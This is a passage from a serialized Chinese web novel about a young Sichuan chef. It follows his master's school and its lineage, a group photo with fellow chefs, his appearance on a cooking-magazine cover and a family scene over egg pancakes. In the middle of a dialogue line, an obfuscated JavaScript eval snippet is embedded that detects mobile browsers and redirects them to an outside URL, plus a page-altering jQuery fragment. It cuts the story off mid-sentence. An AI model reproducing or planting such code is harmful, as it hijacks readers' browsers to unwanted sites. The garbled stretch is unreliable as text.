雪花鸡淖、坛子肉、软炸扳指、开水白菜，我啥子都不会啊，啥子都不会。” 小罗哭的格外伤心，一半是因为老汉儿，一半是因为罗家断掉的传承。 “回来，我教你做菜。”孔怀风握住了小罗的手，语气坚定道：“我们乐明饭店的厨师培训班马上就要开办，我会作为主讲，把我们孔派的所有技艺和菜谱都拿出来，教给你们这些青年厨师。” 小罗愣住，抬头看着孔怀风，眼里满是震惊与不解，“真……真的吗？” 孔庆峰下意识向前一步，张了张嘴，看着小罗却说不出话来。 “真的。”孔怀风点头，语气坚定，“你来，我把名额给你留着，你就是第一批学员。” “要得，我一定回来。”小罗点头，朝着孔怀风和孔庆峰深深鞠了一躬：“孔大爷，孔二爷，大义！” 小罗赶着马车走了。 孔怀风和孔庆峰并排走在秋日萧瑟的长街上，久久都没说话。 “庆峰，不管你答不答应，我都决定要做了，意外和明天不晓得哪一个会先来。”孔怀风在街头停下脚步，转身看着孔庆峰道： “老罗比你还小三岁，他只收了小罗这一个徒弟，家传的手艺，这下彻底断了。从今天起，嘉州再没人做得出那么美味的雪花鸡淖和鲜美的开水白菜。” “我在孔家没有看到一个能继承衣钵的孩子，所以我五十岁了还没有收徒。今天老罗的死给我敲响了警钟，家传的手艺就算没有断在我们这一代，也可能会在下一代断掉。” “但要是做成教材，批量培训年轻厨师，汇集成册，一定能够让更多的厨师学会我们孔派的手艺。或许，我也可以从中收到几个天赋不错的徒弟，将孔派真正传承下去。” 孔庆峰沉默良久，开口道：“师兄，我不赞同，也不反对。” “要得。”孔怀风笑了。 周砚站在街头，看着两位穿着中山装的老人，心中百感交集。 原来孔派从家传到开班授艺，竟还有这般渊源。 培训班在孔怀风的主持下顺利开了起来，在嘉州厨师界引起了极大的轰动。 许多年轻厨师慕名而来，在乐明饭店的组织下分批培训，从中涌现出了不少天赋不错的年轻厨师。 这其中，周砚发现了一个少年。 少年很瘦，身材像竹竿一般，原来是乐明饭店打杂的，负责扫地、拖地。 每次干完活，就跑到培训班窗外和门口听课，一站就是两三个小时。 孔庆峰路过的时候经常看到他。 “你天天都来听课，叫什么名字？”这天孔怀风上完课，叫住了少年。 “我……我叫肖磊。”少年低着头，有点结巴道。 “想学厨？”孔怀风问道。 “想！”少年抬头，眼里亮起了光。 孔怀风看着他笑了，点头道：“明天开始，干完你的活就进来上课。” “谢谢孔大爷！”少年高兴的跳了起来。 这日起，少年混进了培训班的最后一排。 “哎哟喂，一个**法学半年都整不明白？” “怎么这么木呢？” “你以后就叫石头！” “重来！” 孔庆峰每次路过，都听到孔怀风在训肖磊。 周砚目瞪口呆，这不是他因为天赋异禀被师爷收为徒弟的师父吗？ 好啊好啊！原来你是这样的石头！ 周砚笑疯了。 …… 一年后。 孔怀风办了收徒典礼。 一次收了四个徒弟。 许运良、方逸飞、宋博，还有肖磊。 孔庆峰出席了收徒仪式。 礼成之后。 孔怀风和孔庆峰在后院喝茶。 “许运良、方逸飞和宋博的天赋确实不错，在年轻厨师里面都是非常优秀的，但是肖磊这块石头，你为啥子要收他当徒弟呢？”孔庆峰看着孔怀风，满脸不解：“你不是最看重天赋吗？” “勤奋不也是天赋的一种吗？”孔怀风端起茶喝了一口，悠悠道：“我在他的身上，看到了你的影子。” “比起学得快，我更相信师父说的那句：技贵熟，熟则生巧。” 孔庆峰愣住，许久后释然地笑了。 —— 画面渐渐变暗，周砚猛然睁眼，已然回到了会议室。 耳边再度传来孔庆峰低沉的声音。 一口气写完这一段传承！ 求月票！ (本章完) 第164章 你上《四川烹饪》杂志都不带我？ 信息过载的昏沉感再度传来，耳边嗡嗡的，周砚不动声色的闭上眼睛，右手轻揉太阳穴，脑子渐渐缓过劲来。 跨越数十载岁月的记忆碎片，仿若粗略翻阅了孔庆峰的半生。 从一个懵懂瘦弱的少年，一步步成长为嘉州名厨，成为师父。 而从旁观者的角度，他还窥探了师爷的半生。 孔派大师兄，真正嫡长子，家传的手艺。 为了传承技艺，果断开班授课，成功让孔派开枝散叶。 这样的格局和奉献精神，令他动容而震撼。 “庆杰一去不回，我们甚至不知道他死在哪里，埋在哪里。在老家后头的山上给他立了一个衣冠冢，每年抗战胜利纪念日我都要去给倒两杯酒，陪他聊半个钟头。 我师父和师兄也埋在那里。 我已经快四十年没喊师父了，我现在成了师父。 等哪天我躺板板了，我的坟头也挨着他们，我们四个还能凑一桌麻将噻……” 会议室里，孔庆峰笑声爽朗。 周砚睁开眼，却看到了他眼角闪烁的泪光。 他也想他的师父和弟弟了吧？ 采访结束，孔派一众厨师的脸上都带着几分骄傲，那是对孔派发自内心的认同。 这其中的渊源，若不是今日这种场合，他们这些徒孙们可能这辈子都了解不到。 孔国栋别过脸去，默默揩拭了眼角的泪水。 牛马小李放下了手中的笔，如释重负，表情略带痛苦的扭了扭手腕，两只钢笔墨水写完，中途还加了几回墨汁。 一万三千字啊！简直要老命了！ 作为一名专业的速记员，他不敢错漏，字迹还得工整，回去之后编辑部得根据他的文稿来写文章。 孔庆峰口述讲了孔派三代传承，内容实在有些繁杂，回去之后估计得删减不少 不过这就不是他这个速记员的事情了，让总编和副总编他们头疼去吧。 “孔二爷，讲的太好了，孔派的故事，是我这两年听过最好的传承故事，我们一定把这个故事润色好。”何志远握着孔庆峰的手有些动情道。 孔庆峰看着他笑问道：“小何，那能上明年《四川烹饪》杂志的第一期不？” 会议室里，孔派众厨师也是纷纷看向了孔庆峰，皆面露期待之色。 今天众人齐聚于此，除了交流切磋厨艺之外，就是为了这《四川烹饪》杂志来的。 孔国栋坐直了身子。 肖磊也是下意识地理了理自己的衣裳。 先前孔庆峰讲孔派传承，把在场的二代弟子都提到了。 这要是上了杂志，说不定能看到自己名字呢，这等荣耀，下一回可能就要熬到孔二爷这般年纪，成了一方名厨的时候了。 “孔二爷你放心，明年第一期四名揽胜栏目，包上的。”何志远爽朗笑道。 “那就好，那我就不用托这些徒弟回头烧给我了。”孔庆峰也笑道。 何志远拍了拍的他的手：“您说哪的话，就您这身体，看着比我还好呢，等您满一百岁的时候，我再来给您做个专访，就叫：百岁大厨是如何练成的。” “要得。”孔庆峰笑着点头。 众人也跟着哄笑起来，会议室里充满了快活的空气。 “龇着个大牙乐啥呢？”周砚看着身旁跟着傻乐的郑强，忍不住笑问道。 “咱们孔派上《四川烹饪》杂志，那咱们当徒孙的与有荣焉啊。说不定我师父的名字还会出现在上边呢，毕竟是咱们怀峰的大师兄不是。”郑强咧嘴笑道：“到时候我要订个十本八本的，给亲戚朋友们散一散，好让他们知道我也是孔派的。” “有道理。”周砚点点头。 “师弟，你打算买多少本？”郑强问道，看了眼肖磊，压低了几分声音：“不过师叔年轻的时候真是块冥顽不化的石头啊？这要是传出去，你不会被人笑话吧？” “我还没想好买多少呢。”周砚摇头：“你不懂，这叫莫欺少年笨的逆袭剧本，大家就爱看这种戏码，说不定还能多挣点笔墨呢。” “这样啊……”郑强若有所思，确实不太懂。 “行，趁着天还没黑，咱们先把大合照拍了吧！”何志远起身，拿起桌上的相机挎上。 小李也是把笔记本收回包里，跟着出门。 “师父，你不是说自己是天赋异禀被师爷选中，成了关门弟子的吗？”周砚快走两步跟上肖磊，笑吟吟问道。 郑强正准备跟上，听到这话又下意识地放慢了几分脚步，落后一个身位，一脸佩服的看着周砚。 周师弟真猛啊，贴脸开大。 “你没听你师爷说吗，勤奋也是一种天赋，而我年轻的时候，可是拉满了的。”肖磊笑了笑，看着周砚道：“你刚进厂食堂的时候，学了一个月连菜刀都握不好，切三刀，两刀切自己手上……” “好了好了师父，莫要说了。” “有一回让你杀鱼，让你去鱼缸里抓一条八斤的大鲤鱼，你刚抓起来被它尾巴铲了一耳屎，脸肿了半个月都没消……” “师父，我发现你这个人有点较真。”周砚不笑了。 郑强在后边乐得不行，嘴角快咧到耳根了。 论阴阳怪气，还得是老辈子。 年轻人还是不要随便发起挑衅。 “你晓得你那么爪棒，我为啥还会收你为徒不？” “莫非，你在我的身上也看到了你当年的影子？” 师父不语，只是一味的解皮带。 一行人来到大门外，第一排摆了一张太师椅，孔庆峰坐在正中间，其他人则是按照辈分来分座次。 孔国栋负责安排，对齐大门，谁站在哪个位置。 周砚站在一旁瞧着，反正他辈分最小，一会让他站哪就站哪。 “师父！我回来了！等我啊！”孔立伟提着一个木桶跑的满头大汗，看到众人在门口排座次，连忙高声喊道。 孔国栋笑道：“把鱼先提进去养到鱼缸里，等你。” “要得！”孔立伟应了一声，兴高采烈的提着桶进门去了。 “肖磊，你来站在师父旁边。” “师兄，这不合适，应该你站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200284|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。” “今天师伯这一脉你是代表……” 何志远已经把相机架好，见众人还在为站位客套争论，看了眼站在一旁的周砚，扭头和小李说了两句。 小李把布包打开翻了翻，拿出一本杂志交给他。 何志远朝周砚走去，献宝似的递上手里的杂志，笑着说道：“周砚同志，你瞧瞧咱们第四期的《四川烹饪》，封面用的就是你做的跷脚牛肉。” 现场顿时安静下来。 一道道目光刷的向着何志远和他手里的杂志看了过来。 众人的神情，震惊中带着几分疑惑。 何主编刚刚说的啥？ 什么叫做“你做的跷脚牛肉”？ 周砚也没多想，顺手就接了过来，手头的杂志还泛着油墨香，彩印的封面正是那日他们摆拍许久的跷脚牛肉。 青花瓷盆上的花纹、粉嫩的牛肉、毛肚的颗粒，清澈的汤汁竟都印刷得清清楚楚，旁边的红色蘸碟，辣椒颗粒分明，与跷脚牛肉交相呼应，色彩上的碰撞，竟是意外和谐。 “四川烹饪”四个大字写在空白处，下方是刊号：1984第四期 “拍的真好！何主编，你这拍照的技术太好了。”周砚也忍不住称赞道，这倒不是拍马屁，而是由衷的赞叹。 这张照片呈现的效果，远超他的预期。 能上杂志封面，更是让他颇感意外。 “你的跷脚牛肉做得好，青花瓷盆也漂亮，那天阳光也合适，我的拍照技术只能算是锦上添花。”得到夸赞的何志远还是颇为受用的，笑着说道：“我们总编对这张照片也是相当满意，本来封面都定好了，又临时撤了换上这一张，你的那篇专访放在四名揽胜栏目的第一篇，还给你配了一张单独的照片。” “这太有牌面了，多谢何主编抬爱。”周砚忙道。 “应该的，我们主编也说这篇文章写得好，为嘉州发掘出一道有渊源的好菜，还发现了一位厨师界的新星。”何志远笑着道，“我明天准备还去一趟苏稽，到时候你跟我好好讲讲张记卤味噻，要是合适，咱们又做个卤味专访？” “要得，没得问题。”周砚点头。 何志远笑容愈发灿烂：“你们家的合照我洗了两张，夹在杂志里头，你一起装包包里头哈，莫要落了。” “谢谢谢谢，我妈前两天还念着合照的事，今天给她带回去，她肯定高兴得很。”周砚忙把杂志捏紧，免得照片掉了。 两人聊得火热，这会才注意到场面好像有点安静，一回头，便对上了孔派众人目瞪口呆的表情。 “周砚，你……你上《四川烹饪》杂志了？”孔庆峰的声音略显沙哑，下午的话确实讲的多了些，此刻看着周砚的表情震惊中带着几分荒唐。 “周砚，你……你上《四川烹饪》杂志都不带我？”肖磊的声音略显嘶哑，声音是从喉咙里挤出来的，看着周砚的表情震惊中带着三分幽怨。 “周砚，你……你上《四川烹饪》杂志都不跟我说？”郑强的声音微微颤抖，震惊中带着几分茫然。 (本章完) 第165章 这是出了个神仙啊！（54k大章） 第165章这是出了个神仙啊！（5.4k大章） 孔派一众厨师，此时的心情都是一样的。 震惊到难以置信。 当他们还在为一张大合照如何排座，在专访中是否会出现自己的名字而兴奋和纠结的时候。 周砚竟然已经上杂志封面了？！ 而且，他还上了本期的专访？一个人的专访！ 甚至…… 何主编还在跟他预约下一次专访？ 所有人脑子都嗡嗡的，除了震惊，便是不解。 不是，凭什么啊？ 他们承认周砚天赋异禀，炒的火爆猪肝极好。 但他毕竟只学厨两年半吧？ 他们这些在厨房混迹了二三十年的老油条，都觉得自己资历不够还得继续混。 郑强眉毛都挤在了一起，明明来的时候还一起畅想蹭个合照，周砚自己偷偷上封面去了？ 明明大家都是徒孙辈的，你自个飞了？！ 周砚也有点尴尬，斟酌着解释道：“何主编上次在我家饭店吃饭，对我们周村传承下来的跷脚牛肉颇感兴趣，所以做了一次专访。第一回上，我也不太懂。当然，跟咱们孔派传承这种大议题完全没法比。” 众人闻言若有所思的点头，周砚这么一解释，大家心里好受多了。 看来周砚确实是刚好赶上，所以被选中。 不然显得他们这一把年纪都活到狗身上去了。 “周砚同志，你这也太谦虚！”何志远连连摇头，提高了几分声音道：“你把跷脚牛肉从菜谱上复刻传承下来，汤鲜味美，还有药膳的功效！ 并且在美味之外，赋予了这道菜以历史的厚重感和使命感，我认为它将来很有可能成为嘉州名菜，甚至形成更为深远的影响力。” 众人闻言，皆面露惊色。 就连孔庆峰都从太师椅上站了起来。 从菜谱上复刻传承一道菜，并且得到了何志远这等老饕的高度评价，含金量可见一斑！ 这说明什么？ 周砚上杂志封面，并且上了专访，在《四川烹饪》杂志社编辑部看来，实至名归，且认为将会产生深远的影响。 众人震惊之余，更多的还是高兴！ 孔派出了这样一位青年才俊，是孔派的幸事啊，这个道理大家一想就明白了。 **才和秦坤站在一旁看热闹，此刻表情略显复杂，眼中更多的是羡慕。 这样的徒弟谁不羡慕啊，太给师门争光了！ 想到自家逆徒，从没给自己长过脸，丢脸倒是一点不含糊，越想越气，恨不得现在就回家打一顿。 “不愧是我们孔派的天才弟子！”孔庆峰一脸欣慰地笑道：“来，周砚，你坐中间！” 周砚看了眼那太师椅，人都傻了。 不是！师叔祖，不要捧杀啊！ “要不得要不得，师叔，这位置周砚啷个坐得。”肖磊也是连忙开口道。 “我坐得，周砚也坐的噻！”孔庆峰摆手，正色道：“我们孔派，靠本事说话。周砚上了《四川烹饪》杂志的封面，那就是给我们孔派争光，该他坐这里，我站旁边。” 肖磊闻言，有点无奈地看向周砚：“周师，你啷个说？” “师叔祖求放过，这样嘛，我站你旁边。”周砚连忙走过来，扶着孔庆峰坐回去， “要得。”孔庆峰点点头，和一旁的肖磊道：“石头，你就站周砚旁边。” 肖磊看了眼周砚，嘴角微微上扬，点头道：“要得。” 这下站位一下就排好了，孔国庆站在孔庆峰另一边，其他师兄弟按入门顺序排位。 第二排摆了三张长条凳，一众徒孙站在第二排。 孔立伟把鱼养在鱼缸里，还特意找毛巾把脸抹了一把，出来看到周砚和一众师叔伯站在第一排，站在师爷的身旁，旁边站着的是他师父肖磊师叔，眼睛顿时瞪大了几分。 这是什么新站位吗？ 孔立伟挠了挠头，看着站在师爷另一边的孔国栋，犹豫着问道：“师父，我是不是也站师爷和你中间啊？” “给老子爬，你站后排卡卡上，位置给你留着呢。”孔国栋给他翻了个白眼。 一个跑腿的宗门杂役，也想跟天才一个待遇？ 现在是周砚站在这里，显得他们有含金量。 孔立伟一脸受伤的跑到后排角落站着，小声和身旁的郑强嘀咕道：“郑师兄，长得帅就可以站前排吗？” “没错，是这样的。”郑强笑着点头，微微昂着下巴，尽量把自己的圆脸展露出来，心头老骄傲了。 这可是他们怀峰的天才师弟！ “来，看我，面带微笑，一、二、三！” “咔嚓！” 随着快门声响起，众人脸上的笑容也随即被定格。 “可以，那我回头洗好了，给你们寄到培训基地来嘛，回头你们自己再来孔二爷这里取。”何志远收了相机说道。 “小何，辛苦你了。”孔庆峰过来和何志远握了握手。 “孔二爷，我们二十多年老相识了，还客气啥子。”何志远笑着道。 另一边，孔派一众二代弟子已经把周砚团团围住，惊叹声连连。 “哎呦喂！这封面拍的好好看哦！周砚，这是你做的牛肉汤啊？” “啥子牛肉汤，何主编说了，是跷脚牛肉！” “专访还有单人照啊，拍的硬是帅得很！” “独占两页啊！这也太有牌面了吧？！” “明天才开卖嘛，我一定去报刊买几本回来，到时候你给我签个名哈，我拿回店里好吹牛。” 周砚把装在信封里的照片先单独收起，面对热情的师叔伯们，属实有点招架不住，只得微笑点头称是。 “啥子封面？啥子专访啊？我错过了啥子？”孔立伟一脸懵逼，看着被团团围住，已然成为团宠的周砚，不明所以。 “周砚师弟上了最新一期的《四川烹饪》杂志专访，而且这一期的封面用的是他做的菜。”郑强给他解释道：“咱们孔派来了一位天才。” 孔立伟眼珠子都要掉地上了，好一会才把这劲爆的信息消化，一脸震惊道：“铲铲哦！学厨两年半，上《四川烹饪》杂志封面！” “这不是来了个天才，这是出了个神仙啊！” 何志远把相机收好，在一旁等着，并不着急。 瞧瞧孔派这些弟子的热情，嘉州报刊的《四川烹饪》杂志怕是明天就会被买空。 这可都是在为他们的杂志销量做贡献啊。 等众人聊完了，何志远才和周砚进了院子，找了个僻静角落把明天做专访的事情商议了一遍。 “不好意思，何主编，我这卤水的配方确实无法公开，因为这是我奶奶传承下来的手艺。”周砚态度坚决地摇头。 “这样啊……”何志远虽在意料之中，但还是有些遗憾。 本以为周砚听完了他师爷慷慨授艺的故事，会受到鼓舞，也把卤味秘方公开呢。 如果是这样的话，那这卤肉专访的深度可就不太够了。 周砚犹豫了一下，开口道：“而且，我觉得我担不起卤味的专访，相比之下，我奶奶张淑芬老太太，才是张记卤味的传承人。 她从民国开始卖卤肉，一度让张记卤味成为苏稽乃至嘉州的味道记忆。靠着一个卤肉摊，独自拉扯大五个儿子。 让我爷爷能够在前线抗日、抗美，最终为国献身。 她的卤味见证了中国从动荡中走来，见证了那个时代，她的故事远比我有深度。 要不你试试？标题我都给你取好了：震惊！这个女人竟靠一锅卤肉撑起了半边天！” 何志远闻言眼睛渐渐亮了起来，拍手道：“卤味传承！妇女顶半边天！川军牺牲精神！好啊！要素太足了！” 作为一名副主编，他对内容的嗅觉非常敏锐。 周砚这么一说，他脑子里已经有了文章的大概脉络。 “周砚同志，你可真是个天才！”何志远看着周砚满眼赞叹：“要不是你做菜确实好吃，天赋满满，我一定请你去杂志社编辑部上班！你的文章肯定也写得好，而且写的精彩！” “何主编过奖了，我可不会写文章。”周砚笑着摆手。 不开玩笑的说，他的视频文案可都是他自己写的，震惊部那一套都是过时多年的东西，但胜在确实有噱头且简单。 何志远说道：“那就有劳你回去先和老太太打声招呼，看她是否愿意答应接受我们的杂志社的专访，而且我现在也不能保证采访之后就一定能刊登，因为这是比较临时增加的项目，还要编辑部讨论之后才能做决定。” “我懂，反正老太太也不会在意。”周砚点头。 老太太不在意，他在意。 他就想让所有人都知道张记卤味，知道张淑芬同志！ 就当是他的私心吧。 或许很多年后，有人翻开老旧杂志的某一页，读到张淑芬老太太的故事，还会念出她的名字。 那多好啊。 晚餐比午餐还要更丰盛些。 新晋孔派圣子周砚，被迫下厨烧了个藿香鲫鱼和双椒碎花牛肉，得到了一致好评。 一众师兄吃完之后，看向他的目光都清澈了。 “郑师兄，周师弟真的只学了两年半？不是从两岁半开始学的？”孔立伟拿碎花牛肉拌了一碗饭，凑到郑强身边问道。 除了羡慕，剩下的只有服气。 周砚在一旁沉浸嗦红烧黄辣丁。 【一份极其不错的红烧黄辣丁】 孔庆峰亲自下厨烧的黄辣丁，味道实在太好了！ 周砚认为，虽然评价是极其不错，但应该无限接近于完美。 麻麻辣辣中又带着泡椒和酸菜的酸香，复合的口味，完美浸入鲜嫩的黄辣丁中。 野生的黄辣丁，挑一指半大小的，几乎只有一根主刺，鱼肉滑嫩，入口一嗦即化，鲜美无比。 周砚看了眼一旁也是认真嗦黄辣丁的何志远，不禁在心里给他竖了个大拇指。 何主编是会吃的，完全知道该点什么。 吃完晚饭，趁着天色尚未黑，周砚和肖磊、郑强先告辞，骑车返回苏稽。 “周师，你明天还要接受专访啊？”回去的路上在，肖磊和并排而行的周砚问道。 郑强闻言猛踏了几脚，从旁边跟上，和肖磊一左一右夹住周砚，有点忧愁道：“周师，明天我们有个坝坝宴要准备哦，能不能延后两天嘛？” 周砚从他们的脸上看到了上杂志的决心，略带无奈道：“刚刚何主编跟我商量了，觉得我撑不起第二个专访，所以取消了。” “取消了？” “好可惜！” 肖磊和郑强闻言皆是一脸遗憾。 上《四川烹饪》杂志是多长脸的事情啊，要是能连着上两回，那可就扬名厨师界了。 周砚解释道：“何主编想做卤味传承的专访，我给他推荐了我奶奶，他可能会去采访她，但最终也不一定会刊登。” 肖磊闻言若有所思，点头道：“如果是做卤味专访的话，张记卤味确实会更有代表性，那是真正的嘉州味道记忆，张老太太也确实值得书写。” 话到这里，肖磊和郑强也就没再提杂志的事 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听到动静，小家伙回头，瞧见是周砚回来，眼睛顿时一亮，抱着赵嬢嬢的腿划了下去，蹦跳着就冲着周砚冲去，一边奶声奶气地喊道：“锅锅！锅锅！你回来了！我快饿**！” 周砚捏住刹车把车停下，低头看着凑到跟前，嘟着小嘴，一脸委屈的周沫沫笑道：“妈妈还能饿到你？” “你可别瞎告状哈，三顿我都是让你吃饱了的。”赵铁英坐起身来，没好气地笑道。 周沫沫摇咬了咬嘴唇，又往周砚身边凑近了点，小声告状：“妈妈做的菜菜有点不好吃，我只吃了一碗饭饭，一天饿三顿呢。” 周砚闻言笑了，下车推着自行车进门，“那我给你煎个鸡蛋饼好不好？” “好！”周沫沫屁颠颠跟着进门，“锅锅最好了！” “你就惯着她吧。”赵铁英带着几分无奈摇头。 “妈，你要不要吃？”周砚问道。 “我不吃，我饱的很。”赵嬢嬢摇头。 “老汉，你呢？”周砚又看向了一旁坐着的老周同志。 老周同志犹豫了一下，点头道：“给我也摊一个嘛。” “啷个？你跟着我也一天饿三顿啊？”赵嬢嬢斜了他一眼。 “怎么会！今天是我最近吃的最舒坦、最合胃口的三顿饭！”老周同志连忙端坐，就差把‘忠！诚！’两个字写在脸上。 “我就是想批判一下周砚做的鸡蛋饼，毕竟他也没有做过嘛，我觉得手艺上肯定是有瑕疵的。” 赵嬢嬢忍不住笑了：“你想吃就吃嘛，我又不拦到你。” “要得，那我给你也煎一个哈。”周砚笑着应道，把车停好，先把脚上的皮鞋给换了，进厨房洗了手，一勺面粉，三勺水，再打三个鸡蛋，往一个方向搅打成面糊糊。 找了一下货架，只剩下两根大葱，葱白切成细碎的小颗粒，加入面糊，再加入少许盐巴，搅拌均匀，放在一旁备用。 赵嬢嬢已经跟进厨房来了，背着手在旁边瞧着，忍不住问道：“你摊饼还加三个鸡蛋啊？水比好多呢？” “一平勺面粉加三平勺清水，再打三个鸡蛋，要是有小葱就加点小葱进去，再加点盐巴，这样饼就有味道了。”周砚笑着跟她说道，没有烧大灶，而是把一旁的小灶给烧了起来，顺便从锅架上取下一口许久没用的铁锅。 “为啥不用大锅煎呢？”赵嬢嬢又问。 “小锅更灵活可控，能把饼摊的薄厚均匀，也更好翻面。”周砚笑着解释道，先用猪油把许久没用的铁锅重新开了锅。 灶下就一根柴火，火力渐渐稳定。 锅里不用放多余的油，先前开锅后表面就有一层油，舀起一勺面糊倒入锅中，左手用毛巾裹着锅把手不紧不慢的上下移动，面糊立马均匀摊开，开始快速凝固。 待到面糊凝固，周砚轻轻抖动铁锅，面饼在锅里微微晃动，蛋香和麦香已经徐徐飘来。 “诶？啷个一点都不粘！”赵嬢嬢下意识往前一步，惊讶道。 “锅烧的好就不得粘。”周砚笑着解释，握着锅把的手轻轻一抖，锅里的鸡蛋饼翻起一道弧线，又重新落回到了锅里，但已经成功翻了个面。 底下那面煎的色泽金黄，冒着些许的滋滋油光，点点葱白点缀其上，看着就觉得好吃。 “哇哦！锅锅好厉害哦！”周沫沫看着鸡蛋饼飞起又落回锅中，立马拍起了小手惊叹道：“饼饼飞起来咯！” 最佳捧场王，情绪价值给的够够的。 “稍等，第一个鸡蛋饼给你哈。”周砚笑着说道，手中铁锅轻轻晃动，过了一会，铁锅一颠，鸡蛋饼飞起，一个盘子刚好递了进来，将鸡蛋饼稳稳接住。 一个摊地金黄的鸡蛋饼就成了！ “咕噜。” 厨房里三人同时咽了咽口水。 “谢谢锅锅！”周沫沫双手接过盘子，虔诚道：“我永远爱你！” 锅里加点油，周砚如法炮制又做了三个，拿两个盘子盛着。 装了两个的递给老周同志，装了一个的递给赵嬢嬢，笑着道：“妈，你也批判批判，免得我老汉批判的不够公正。” “要得，那我也来批判批判。”赵铁英笑着接过盘子，又从一旁抽了两双筷子，又看着他问道：“你晚饭吃了没有？你也吃一个嘛，你老汉用不着吃两个。” “我吃得很饱，师叔祖亲自下厨烧的黄辣丁，味道巴适得板。”周砚笑着摇头。 “鸡蛋饼好好吃！”埋头吃饼的周沫沫抬起头来，两眼放光地看着老周同志：“爸爸，我可以吃两个！！” 加更求月票！ (本章完) 第166章 真香啊！ “硬是松软可口，蛋香十足，咸淡适宜，好吃！”赵嬢嬢一口气吃了半个鸡蛋饼，连连点头称赞，还忍不住自我反思了一下：“相比之下，我做的简直不配叫鸡蛋饼。” 老周同志也吃了半个饼，斟酌着道：“周砚做的这个鸡蛋饼是香，但我觉得你的做的也是不相上下，实际上，我还更喜欢吃厚一点的呢，更有韧性。” “你就张起嘴巴乱说话吧。”赵嬢嬢白了他一眼，嘴角却是忍不住上扬，拿筷子把他碗里的另一个饼给夹了起来，“反正你不喜欢吃，我和幺女一人半个。” “要得。”老周同志咧嘴笑。 “妈妈，我也爱你！”周沫沫看着盘子里突然天降半个饼，眼睛亮了起来。 周砚笑了，几个素饼就能吃的那么开心，他们这家人可太容易满足了。 他前世不怎么会做饭，但煎鸡蛋饼的手艺还不错，算是为数不多拿得出手的。 当然，主要是配方简单，做法也简单，多练几回就熟练掌握。 冰箱里只要有鸡蛋和面粉，顺手就能给自己摊一张味道不错的鸡蛋饼。 顺手把锅给涮了，周砚擦着手从厨房出来，打开车篮子里的布包，从包里拿出了那本杂志。 “这么晚还去图书馆借书了？”老周同志正准备收碗，随口问道。 “不是借的，是何主编送的，今天他来采访我们师叔祖，刚好碰上了。”周砚笑着说道，“我们家的跷脚牛肉上新一期的杂志封面了，还有两页专访。” “真的！”赵嬢嬢眼睛亮起，一下站了起来。 “太好了！”老周同志也不收碗了，两眼放光的看着周砚手里的杂志。 只有周沫沫道心稳固，两耳不闻窗外事，一心只吃鸡蛋饼。 “瞧，这就是那天拍的照片。”周砚把杂志放在桌上。 “哎呀！拍的这么乖，这么清楚啊！你奶奶的碗没白借。”赵嬢嬢惊叹道，手在衣服上蹭了又蹭，才小心翼翼的伸手把杂志拿了起来，仔细端详着，脸上满是喜悦之色。 “硬是好看！杂志封面，太有排面了！”老周同志也是一脸兴奋。 开个小饭店，还能上杂志的封面，这对于他们来说是完全不敢想象的事情。 报纸不得是大人物才能上的吗？ 杂志他们不懂，但肯定也不简单。 “周砚，上这个杂志有啥子好处呢？”赵嬢嬢看着周砚问道。 老周同志也是看向了他。 “这个杂志是省内最专业的烹饪类杂志，在全国范围都有比较广泛的影响力，深受厨师、美食爱好者的喜爱和追捧。”周砚笑着给他们介绍道：“一般来说，能上杂志的都是业内大拿，比如我那作为嘉州名厨的师叔祖。” 赵嬢嬢和老周同志听完愣了一下。 “那不是说明，你也成名厨了？”赵嬢嬢欣喜道。 “顶多算个新星。”周砚摆摆手，“不过能给咱们跷脚牛肉扬名，说不定会有更多客人来吃，也算打了个广告吧。” “那也是大好事啊！”老周同志忍不住拍手叫好。 周砚这么一比方，他们大概知道这杂志的含金量了。 喜上眉梢，乐不可支。 赵嬢嬢翻开杂志，很快找到了有周砚照片这一页，连连点头：“这这张单人照拍的也好看！硬是帅得很，就是印出来黑白的，不如封面清晰。” “还算清楚了，你看旁边这位大爷，脸黑黢黢的，五官都看不清。”老周同志看了眼说道。 赵嬢嬢把杂志递给老周，“念来听听，都写了些啥子。” 作为扫盲班的幸存者，赵嬢嬢识字不多，勉强能把自家人名字画明白。 老周同志接过杂志，声情并茂地念了起来：“惊艳味蕾的牛肉新吃法——苏稽跷脚牛肉！嘉州下辖的苏稽古镇，是一座历史悠久的……” “青年厨师周砚，将这道有着悠久历史的跷脚牛肉从菜谱中复刻优化，真正做到了汤鲜味美，别具风味。其兼具的祛寒除湿的功效，更是曾在青衣江畔悬壶济世的老中医精神的延续。 跷脚牛肉以其独特的风味，和令人动容的传承故事，在不久的将来或许会成为新的嘉州名菜。 年仅二十岁的青年厨师周砚，对于传统的继承和发扬，勇于攀登高峰精神更是令人钦佩。 周二娃饭店位于嘉州苏稽镇嘉州纺织厂正大门左侧，除跷脚牛肉之外，周砚烹饪的菜肴以鲜香醇厚见长，卤肉更是一绝，饭店每日座无虚席，值得登门一试。” “写的真好！这跷脚牛肉的故事被他们这么一写更好了。”赵嬢嬢高兴道。 老周同志也是一脸感慨道：“文采真好，最后还给我们打了个广告，何主编这个人没得说，太好了！” 周砚今天在外边其实也没把文章看完，听老周同志念完，也是连连点头。 这年代的文字工作者，确实文采斐然，把跷脚牛肉的典故润色的极好。 对他意外发现菜谱，并复刻出跷脚牛肉这一段也是增加了一些戏剧化描写，从而将他塑造成了一个刻苦钻研，勇于攀登，厨艺精湛的五好青年厨师。 挺好的。 他自己都不好意思这么吹。 但听别人这么吹他。 真香啊。 何主编这人，真不赖！ 最后还给打广告呢！ 别的不说，光是最后这句广告，周砚觉得就应该请何志远吃顿饭。 “这杂志好好收起，下次回村，带回去给他们瞧瞧。”赵嬢嬢小心把杂志合上，手指轻抚着封面上的跷脚牛肉图片，一想到村子里那些老娘们的嘴脸，已经忍不住想笑了。 “明天我准备回老娘那拿把锄头，你要回不？”老周同志笑问道。 “回！”赵嬢嬢立马点头，“我也刚好回去看看我托老娘养的鹅长大没有，逮一只上来杀了干。” 周砚看了眼老周同志，他可太懂他妈了。 